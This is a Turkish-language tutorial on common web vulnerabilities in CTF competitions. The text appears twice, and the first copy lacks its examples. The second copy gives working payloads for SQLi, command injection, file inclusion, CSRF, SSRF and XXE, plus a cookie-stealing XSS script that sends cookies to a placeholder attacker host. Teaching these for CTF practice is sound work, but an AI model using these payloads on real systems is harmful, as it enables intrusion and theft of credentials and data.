Web CTF Yarışmalarında Temel Zafiyetler: Kapsamlı Bir Rehber
Günümüz siber güvenlik dünyasında, Capture The Flag (CTF) yarışmaları, teorik bilginin pratik becerilere dönüştürüldüğü en etkili öğrenme platformlarından biridir. Özellikle web güvenliği kategorisi, siber güvenlik uzmanlarının ve meraklılarının en çok ilgisini çeken alanlardan biridir. Bu rehberde, web CTF yarışmalarında sıklıkla karşılaşılan temel zafiyet türlerini, bunların nasıl sömürüldüğünü ve çözüm yaklaşımlarını detaylı bir şekilde inceleyeceğiz. Amacımız, CTF’lerde başarılı olmak için gereken temel bilgileri sağlamak ve sizi bu heyecan verici alanda bir adım öne taşımaktır.
Web uygulamaları, internetin bel kemiğini oluştururken, beraberinde birçok güvenlik açığını da getirmektedir. CTF’lerdeki web görevleri genellikle gerçek dünya senaryolarını taklit eder ve bu zafiyetleri tespit edip sömürme yeteneğinizi ölçer. Aşağıda, karşılaşacağınız en yaygın ve kritik zafiyet türleri yer almaktadır:
1. XSS (Cross-Site Scripting)
XSS, web uygulamalarının kullanıcı girdilerini düzgün bir şekilde doğrulamaması veya temizlememesi (sanitization) sonucunda ortaya çıkan bir zafiyettir. Saldırganlar, kötü niyetli istemci tarafı betikleri (genellikle JavaScript) web sayfalarına enjekte ederek, diğer kullanıcıların tarayıcılarında bu betiklerin çalışmasını sağlayabilirler. CTF’lerde XSS, genellikle `alert()` fonksiyonunu kullanarak pop-up açtırmak veya kullanıcının çerezlerini ele geçirmek (cookie stealing) gibi senaryolarla karşımıza çıkar.
XSS'in üç ana türü vardır:
2. SQL Injection (SQLi)
SQL Injection, bir web uygulamasına kötü niyetli SQL ifadelerinin enjekte edilmesiyle veritabanının manipüle edilmesi zafiyetidir. Bu sayede saldırganlar, yetkisiz verilere erişebilir, verileri değiştirebilir, silebilir veya hatta sistem komutları çalıştırabilirler. CTF’lerde genellikle kullanıcı adı/şifre bypass etmek veya veritabanından hassas bilgileri (örneğin flag) çekmek için kullanılır.
Yaygın SQLi türleri:
3. Command Injection (Komut Enjeksiyonu)
Komut Enjeksiyonu, web uygulamasının kullanıcı girdisini doğrudan işletim sistemi komutu olarak çalıştırdığı durumlarda ortaya çıkar. Saldırganlar, bu zafiyeti kullanarak sunucu üzerinde keyfi komutlar çalıştırabilir, bu da tam kontrol (Remote Code Execution - RCE) elde etmelerine yol açabilir. CTF’lerde genellikle ping aracı, ağ teşhis araçları veya dosya listeleme gibi özelliklerde görülür.
CTF İpuçları: IP adresi veya dosya yolu bekleyen alanlara dikkat edin. Pipe (`|`), noktalı virgül (`;`), ampersan (`&`), dolar işareti ve parantez (`$()`) veya tırnak işaretleri (`` ` ``) gibi karakterleri deneyin.
4. File Inclusion (Dosya Dahil Etme)
Dosya Dahil Etme zafiyetleri, web uygulamasının dışarıdan gelen bir parametreye dayanarak dosya açması veya dahil etmesi sonucunda ortaya çıkar. İki ana türü vardır:
5. Insecure Direct Object References (IDOR)
IDOR, bir kullanıcının URL parametrelerini, form alanlarını veya API isteklerini değiştirerek normalde erişememesi gereken nesnelere (örneğin kullanıcı hesapları, belgeler, kayıtlar) doğrudan erişebilmesi durumudur. Bu zafiyet genellikle yetkilendirme kontrollerinin eksik veya hatalı olmasından kaynaklanır.
6. CSRF (Cross-Site Request Forgery)
CSRF, bir saldırganın, kullanıcının oturum açtığı bir web sitesinde, kullanıcının bilgisi veya rızası olmadan eylemler gerçekleştirmesi için kullanıcıyı kandırdığı bir saldırı türüdür. Örneğin, saldırgan kötü niyetli bir web sitesine kullanıcıyı çekerek, kullanıcının banka hesabından para transferi yapmasını sağlayabilir.
CTF İpuçları: Bir eylemi gerçekleştiren bir form veya link bulduğunuzda, bu eylemin bir CSRF token'ı içerip içermediğini kontrol edin. Eğer token yoksa, basit bir HTML formu veya `<img>` etiketi ile CSRF denemesi yapabilirsiniz.
7. SSRF (Server-Side Request Forgery)
SSRF, bir web uygulamasının, saldırgan tarafından sağlanan bir URL'yi kullanarak sunucu tarafında HTTP isteği yapması durumunda ortaya çıkan bir zafiyettir. Bu zafiyet sayesinde saldırganlar, uygulamanın bulunduğu sunucudan veya bu sunucunun erişebildiği dahili ağlardan kaynaklara erişebilirler. Örneğin, bulut sağlayıcısının meta verilerine (AWS IMDS), dahili IP adreslerine veya diğer hizmetlere erişim sağlanabilir.
CTF İpuçları: URL, dosya yolu veya web sitesi adresi alan parametreleri arayın. `url=`, `image_url=`, `callback=`, `proxy=` gibi parametreler potansiyel SSRF noktalarıdır. Dahili IP adreslerini (`127.0.0.1`, `169.254.169.254`), protokolleri (`file://`, `gopher://`, `dict://`) veya portları (`:22`, `:8080`) deneyin.
8. Unrestricted File Upload (Kısıtlamasız Dosya Yükleme)
Bu zafiyet, bir web uygulamasının kullanıcının keyfi dosya türlerini sunucuya yüklemesine izin vermesi durumunda ortaya çıkar. Saldırganlar genellikle zararlı web kabukları (webshell) veya betikler yükleyerek sunucu üzerinde uzaktan kod çalıştırma (RCE) elde ederler.
CTF İpuçları: Dosya yükleme işlevselliği olan her yere dikkat edin. Resim, belge veya profil fotoğrafı yükleme bölümleri potansiyel hedef olabilir. Dosya uzantısını (`.php`, `.asp`, `.jsp`, `.phtml`, `.phar`), MIME tipini (Content-Type) manipüle etmeyi deneyin. Örneğin, bir `.php` dosyasını `image/png` MIME tipiyle yüklemeyi deneyin veya çift uzantı kullanın (`.php.jpg`).
9. XXE (XML External Entity)
XXE zafiyeti, XML ayrıştırıcılarının harici varlık referanslarını işlemesine izin vermesi durumunda ortaya çıkar. Saldırganlar, bu zafiyeti kullanarak sunucu üzerindeki yerel dosyalara erişebilir, dahili ağlara port taraması yapabilir veya DoS (Denial of Service) saldırıları gerçekleştirebilirler.
CTF İpuçları: XML verisi kabul eden tüm giriş noktalarını kontrol edin. SOAP API'leri, RSS okuyucuları veya herhangi bir XML tabanlı veri alışverişi bu zafiyete açık olabilir. `DOCTYPE` bildirimi ile harici varlık tanımlamayı deneyin.
10. Deserialization Vulnerabilities (Seri Durumdan Çıkarma Zafiyetleri)
Seri durumdan çıkarma zafiyetleri, bir uygulamanın güvenilmeyen verileri seri durumdan (örneğin Java'daki serialized objects, PHP'deki `unserialize()`, Python'daki `pickle`) çıkarırken ortaya çıkar. Saldırganlar, seri hale getirilmiş verileri manipüle ederek uygulamanın beklenmedik şekillerde davranmasını sağlayabilir, bu da genellikle uzaktan kod yürütme (RCE) ile sonuçlanır.
CTF İpuçları: `PHPSESSID` gibi çerezlerde, gizli input alanlarında veya API isteklerinde base64 kodlanmış veya tuhaf görünümlü dize verileri arayın. Bu tür veriler genellikle seri hale getirilmiş nesneleri temsil edebilir. PHP'de `__wakeup()` veya `__destruct()` sihirli metodlarının kötüye kullanılabileceği nesneler, Java'da `readObject()` metodu, Python'da `__reduce__()` metodu gibi işlevler RCE'ye yol açabilir.
CTF İçin Genel İpuçları ve Yaklaşım:
Sonuç
Web CTF yarışmalarında başarılı olmak, sadece teorik bilgiye sahip olmakla değil, aynı zamanda pratik deneyim kazanmakla da mümkündür. Yukarıda bahsedilen temel zafiyetleri derinlemesine anlamak, bunların nasıl tespit edilip sömürüleceğini öğrenmek ve farklı senaryolar üzerinde bolca pratik yapmak, sizi bir adım öne taşıyacaktır. Her CTF görevi, yeni bir öğrenme fırsatıdır. Pes etmeyin, araştırmaya devam edin ve siber güvenlik alanındaki yolculuğunuzda başarılar dileriz!
Günümüz siber güvenlik dünyasında, Capture The Flag (CTF) yarışmaları, teorik bilginin pratik becerilere dönüştürüldüğü en etkili öğrenme platformlarından biridir. Özellikle web güvenliği kategorisi, siber güvenlik uzmanlarının ve meraklılarının en çok ilgisini çeken alanlardan biridir. Bu rehberde, web CTF yarışmalarında sıklıkla karşılaşılan temel zafiyet türlerini, bunların nasıl sömürüldüğünü ve çözüm yaklaşımlarını detaylı bir şekilde inceleyeceğiz. Amacımız, CTF’lerde başarılı olmak için gereken temel bilgileri sağlamak ve sizi bu heyecan verici alanda bir adım öne taşımaktır.
Web uygulamaları, internetin bel kemiğini oluştururken, beraberinde birçok güvenlik açığını da getirmektedir. CTF’lerdeki web görevleri genellikle gerçek dünya senaryolarını taklit eder ve bu zafiyetleri tespit edip sömürme yeteneğinizi ölçer. Aşağıda, karşılaşacağınız en yaygın ve kritik zafiyet türleri yer almaktadır:
1. XSS (Cross-Site Scripting)
XSS, web uygulamalarının kullanıcı girdilerini düzgün bir şekilde doğrulamaması veya temizlememesi (sanitization) sonucunda ortaya çıkan bir zafiyettir. Saldırganlar, kötü niyetli istemci tarafı betikleri (genellikle JavaScript) web sayfalarına enjekte ederek, diğer kullanıcıların tarayıcılarında bu betiklerin çalışmasını sağlayabilirler. CTF’lerde XSS, genellikle `alert()` fonksiyonunu kullanarak pop-up açtırmak veya kullanıcının çerezlerini ele geçirmek (cookie stealing) gibi senaryolarla karşımıza çıkar.
XSS'in üç ana türü vardır:
- Reflected XSS: Saldırganın kötü niyetli betiği, HTTP isteğinin bir parçası olarak gönderilir ve uygulama tarafından anında, kalıcı olmayan bir şekilde sayfaya yansıtılır. Örneğin, bir arama kutusuna `<script>alert(1)</script>` girildiğinde, bu betik doğrudan sonuç sayfasında çalışabilir.
Kod:http://example.com/search?q=<script>alert('XSS Başarılı!')</script>
- Stored XSS: Kötü niyetli betik, uygulamanın veritabanına veya başka bir kalıcı depolama alanına kaydedilir. Sayfayı ziyaret eden her kullanıcı bu betiği çalıştırır. Forum gönderileri, yorum alanları veya profil bilgileri gibi yerlerde görülebilir.
Kod:<script> var img = new Image(); img.src = 'http://saldirgan.com/log.php?c=' + encodeURIComponent(document.cookie); </script>
- DOM-based XSS: XSS zafiyeti, sunucu tarafında değil, istemci tarafındaki JavaScript kodunda, DOM (Document Object Model) manipülasyonu sırasında oluşur. Girdi, sunucuya gönderilmeden doğrudan tarayıcıda işlenir.
Kod:// JavaScript kodu içinde: var data = new URLSearchParams(window.location.search).get('input'); document.getElementById('output').innerHTML = data; // "input" parametresindeki değer temizlenmeden doğrudan DOM'a yazılıyor.
2. SQL Injection (SQLi)
SQL Injection, bir web uygulamasına kötü niyetli SQL ifadelerinin enjekte edilmesiyle veritabanının manipüle edilmesi zafiyetidir. Bu sayede saldırganlar, yetkisiz verilere erişebilir, verileri değiştirebilir, silebilir veya hatta sistem komutları çalıştırabilirler. CTF’lerde genellikle kullanıcı adı/şifre bypass etmek veya veritabanından hassas bilgileri (örneğin flag) çekmek için kullanılır.
Yaygın SQLi türleri:
- Error-based SQLi: Hatalı SQL sorgularının neden olduğu veritabanı hatalarından faydalanarak bilgi edinme.
Kod:' OR 1=1-- ' UNION SELECT null, database(), user()--
- Union-based SQLi: `UNION` operatörünü kullanarak, saldırganın kendi `SELECT` sorgusunu orijinal sorguya eklemesi ve veritabanından veri çekmesi.
Kod:' UNION SELECT 1,2,3,version(),database(),user(),@@hostname,current_user()--
- Blind SQLi (Kör SQLi): Veritabanından doğrudan hata mesajı veya veri gelmediği durumlarda kullanılır.
- Boolean-based Blind SQLi: Sorgunun doğru veya yanlış dönmesine göre (örneğin sayfanın değişip değişmediği) bilgi edinme.
Kod:' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'a'--
- Time-based Blind SQLi: Sorgunun doğru veya yanlış dönmesine göre uygulamanın tepki süresini kullanarak bilgi edinme.
Kod:' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)--
- Boolean-based Blind SQLi: Sorgunun doğru veya yanlış dönmesine göre (örneğin sayfanın değişip değişmediği) bilgi edinme.
- Out-of-band SQLi: Veritabanının DNS veya HTTP istekleri gibi dış ağ istekleri yapmasını sağlamak ve bu yolla bilgi sızdırmak.
Kod:' UNION SELECT load_file('\\saldirgan.com\share\test')-- (Windows, SMB) ' UNION SELECT UTL_HTTP.REQUEST('http://saldirgan.com/data?q='||USER) FROM DUAL-- (Oracle)
3. Command Injection (Komut Enjeksiyonu)
Komut Enjeksiyonu, web uygulamasının kullanıcı girdisini doğrudan işletim sistemi komutu olarak çalıştırdığı durumlarda ortaya çıkar. Saldırganlar, bu zafiyeti kullanarak sunucu üzerinde keyfi komutlar çalıştırabilir, bu da tam kontrol (Remote Code Execution - RCE) elde etmelerine yol açabilir. CTF’lerde genellikle ping aracı, ağ teşhis araçları veya dosya listeleme gibi özelliklerde görülür.
Kod:
// Linux/Unix sistemlerde yaygın enjeksiyonlar:
; ls -la
| cat /etc/passwd
& id
`whoami`
$(cat /flag.txt)
// Windows sistemlerde:
& dir
| type c:\windows\system32\drivers\etc\hosts
4. File Inclusion (Dosya Dahil Etme)
Dosya Dahil Etme zafiyetleri, web uygulamasının dışarıdan gelen bir parametreye dayanarak dosya açması veya dahil etmesi sonucunda ortaya çıkar. İki ana türü vardır:
- Local File Inclusion (LFI): Saldırganın sunucu üzerindeki yerel dosyalara erişmesine izin verir. `/etc/passwd`, `/etc/shadow`, `/proc/self/environ`, uygulama log dosyaları veya web sunucusu konfigürasyon dosyaları gibi hassas bilgilere erişim sağlayabilir.
Kod:http://example.com/index.php?page=../../../../etc/passwd http://example.com/index.php?page=php://filter/convert.base64-encode/resource=/var/www/html/index.php
- Remote File Inclusion (RFI): Saldırganın kontrol ettiği uzak bir sunucuda bulunan kötü niyetli bir dosyayı sunucuya dahil etmesine ve çalıştırmasına izin verir. Bu genellikle RCE ile sonuçlanır.
Kod:http://example.com/index.php?page=http://saldirgan.com/shell.txt
5. Insecure Direct Object References (IDOR)
IDOR, bir kullanıcının URL parametrelerini, form alanlarını veya API isteklerini değiştirerek normalde erişememesi gereken nesnelere (örneğin kullanıcı hesapları, belgeler, kayıtlar) doğrudan erişebilmesi durumudur. Bu zafiyet genellikle yetkilendirme kontrollerinin eksik veya hatalı olmasından kaynaklanır.
CTF İpuçları: Sayısal veya ardışık ID'leri olan her parametreyi kontrol edin. `user_id=`, `account=`, `doc_id=`, `order_id=` gibi parametrelerde kendi ID'nizi ve başka ID'leri deneyin. API isteklerinde JSON veya XML gövdesindeki ID'lere dikkat edin.Örnek senaryo: Bir e-ticaret sitesinde sipariş detayı görüntüleme URL'i `http://example.com/order?id=123` ise, `id=124` yaparak başka bir kullanıcının siparişine erişebilmek IDOR zafiyetine işaret eder. Benzer şekilde, kullanıcı profillerini, belgeleri veya mesajları hedef alabilir.
6. CSRF (Cross-Site Request Forgery)
CSRF, bir saldırganın, kullanıcının oturum açtığı bir web sitesinde, kullanıcının bilgisi veya rızası olmadan eylemler gerçekleştirmesi için kullanıcıyı kandırdığı bir saldırı türüdür. Örneğin, saldırgan kötü niyetli bir web sitesine kullanıcıyı çekerek, kullanıcının banka hesabından para transferi yapmasını sağlayabilir.
CTF İpuçları: Bir eylemi gerçekleştiren bir form veya link bulduğunuzda, bu eylemin bir CSRF token'ı içerip içermediğini kontrol edin. Eğer token yoksa, basit bir HTML formu veya `<img>` etiketi ile CSRF denemesi yapabilirsiniz.
Kod:
// Kurbanın tarayıcısında çalıştırılacak kötü niyetli HTML:
<img src="http://banka.com/transfer?kime=saldirgan&miktar=1000" style="display:none;">
// Veya bir POST isteği için:
<form action="http://banka.com/transfer" method="POST">
<input type="hidden" name="kime" value="saldirgan">
<input type="hidden" name="miktar" value="1000">
<input type="submit" value="Tıklayın!">
</form>
<script>document.forms[0].submit();</script>
7. SSRF (Server-Side Request Forgery)
SSRF, bir web uygulamasının, saldırgan tarafından sağlanan bir URL'yi kullanarak sunucu tarafında HTTP isteği yapması durumunda ortaya çıkan bir zafiyettir. Bu zafiyet sayesinde saldırganlar, uygulamanın bulunduğu sunucudan veya bu sunucunun erişebildiği dahili ağlardan kaynaklara erişebilirler. Örneğin, bulut sağlayıcısının meta verilerine (AWS IMDS), dahili IP adreslerine veya diğer hizmetlere erişim sağlanabilir.
CTF İpuçları: URL, dosya yolu veya web sitesi adresi alan parametreleri arayın. `url=`, `image_url=`, `callback=`, `proxy=` gibi parametreler potansiyel SSRF noktalarıdır. Dahili IP adreslerini (`127.0.0.1`, `169.254.169.254`), protokolleri (`file://`, `gopher://`, `dict://`) veya portları (`:22`, `:8080`) deneyin.
Kod:
http://example.com/fetch_data?url=http://127.0.0.1/admin
http://example.com/fetch_data?url=file:///etc/passwd
http://example.com/fetch_data?url=http://169.254.169.254/latest/meta-data/
8. Unrestricted File Upload (Kısıtlamasız Dosya Yükleme)
Bu zafiyet, bir web uygulamasının kullanıcının keyfi dosya türlerini sunucuya yüklemesine izin vermesi durumunda ortaya çıkar. Saldırganlar genellikle zararlı web kabukları (webshell) veya betikler yükleyerek sunucu üzerinde uzaktan kod çalıştırma (RCE) elde ederler.
CTF İpuçları: Dosya yükleme işlevselliği olan her yere dikkat edin. Resim, belge veya profil fotoğrafı yükleme bölümleri potansiyel hedef olabilir. Dosya uzantısını (`.php`, `.asp`, `.jsp`, `.phtml`, `.phar`), MIME tipini (Content-Type) manipüle etmeyi deneyin. Örneğin, bir `.php` dosyasını `image/png` MIME tipiyle yüklemeyi deneyin veya çift uzantı kullanın (`.php.jpg`).
9. XXE (XML External Entity)
XXE zafiyeti, XML ayrıştırıcılarının harici varlık referanslarını işlemesine izin vermesi durumunda ortaya çıkar. Saldırganlar, bu zafiyeti kullanarak sunucu üzerindeki yerel dosyalara erişebilir, dahili ağlara port taraması yapabilir veya DoS (Denial of Service) saldırıları gerçekleştirebilirler.
Kod:
// XXE ile /etc/passwd dosyasını okuma örneği:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&xxe;</root>
10. Deserialization Vulnerabilities (Seri Durumdan Çıkarma Zafiyetleri)
Seri durumdan çıkarma zafiyetleri, bir uygulamanın güvenilmeyen verileri seri durumdan (örneğin Java'daki serialized objects, PHP'deki `unserialize()`, Python'daki `pickle`) çıkarırken ortaya çıkar. Saldırganlar, seri hale getirilmiş verileri manipüle ederek uygulamanın beklenmedik şekillerde davranmasını sağlayabilir, bu da genellikle uzaktan kod yürütme (RCE) ile sonuçlanır.
CTF İpuçları: `PHPSESSID` gibi çerezlerde, gizli input alanlarında veya API isteklerinde base64 kodlanmış veya tuhaf görünümlü dize verileri arayın. Bu tür veriler genellikle seri hale getirilmiş nesneleri temsil edebilir. PHP'de `__wakeup()` veya `__destruct()` sihirli metodlarının kötüye kullanılabileceği nesneler, Java'da `readObject()` metodu, Python'da `__reduce__()` metodu gibi işlevler RCE'ye yol açabilir.
Örnek PHP seri hali: `O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:5:"12345";}`
Bu, "User" sınıfına ait bir nesnenin seri halidir. Saldırgan, bu yapıyı manipüle ederek, uygulamada çalışan kodu etkileyebilir.
CTF İçin Genel İpuçları ve Yaklaşım:
- Keşif (Reconnaissance): Uygulamanın tüm sayfalarını, işlevlerini, parametrelerini ve gizli dizinlerini keşfedin. Burp Suite gibi proxy araçlarını kullanarak tüm HTTP isteklerini ve cevaplarını inceleyin. Tarayıcınızın geliştirici araçlarını (F12) aktif olarak kullanın.
- Kaynak Kodu İncelemesi: Eğer mevcutsa, uygulamanın kaynak kodunu detaylı bir şekilde inceleyin. Bu, zafiyetleri hızlıca tespit etmenin en iyi yoludur.
- Girdi Kontrolü: Uygulamaya gönderdiğiniz her girdinin nasıl işlendiğini anlamaya çalışın. Tırnak işaretleri, özel karakterler, uzun dizeler veya sayı yerine metin girme gibi farklı test senaryoları uygulayın.
- Hata Mesajları: Uygulamanın verdiği hata mesajları, arka plandaki teknolojiler veya zafiyetler hakkında değerli ipuçları verebilir.
- Araçlar: Burp Suite (ve özellikle dahili Intruder modülü), sqlmap (SQLi otomasyonu için), OWASP ZAP gibi araçlar işinizi kolaylaştıracaktır.
- Payload Listeleri: PayloadsAllTheThings gibi kaynaklar, farklı zafiyetler için hazır saldırı dizeleri ve teknikleri içerir.
Sonuç
Web CTF yarışmalarında başarılı olmak, sadece teorik bilgiye sahip olmakla değil, aynı zamanda pratik deneyim kazanmakla da mümkündür. Yukarıda bahsedilen temel zafiyetleri derinlemesine anlamak, bunların nasıl tespit edilip sömürüleceğini öğrenmek ve farklı senaryolar üzerinde bolca pratik yapmak, sizi bir adım öne taşıyacaktır. Her CTF görevi, yeni bir öğrenme fırsatıdır. Pes etmeyin, araştırmaya devam edin ve siber güvenlik alanındaki yolculuğunuzda başarılar dileriz!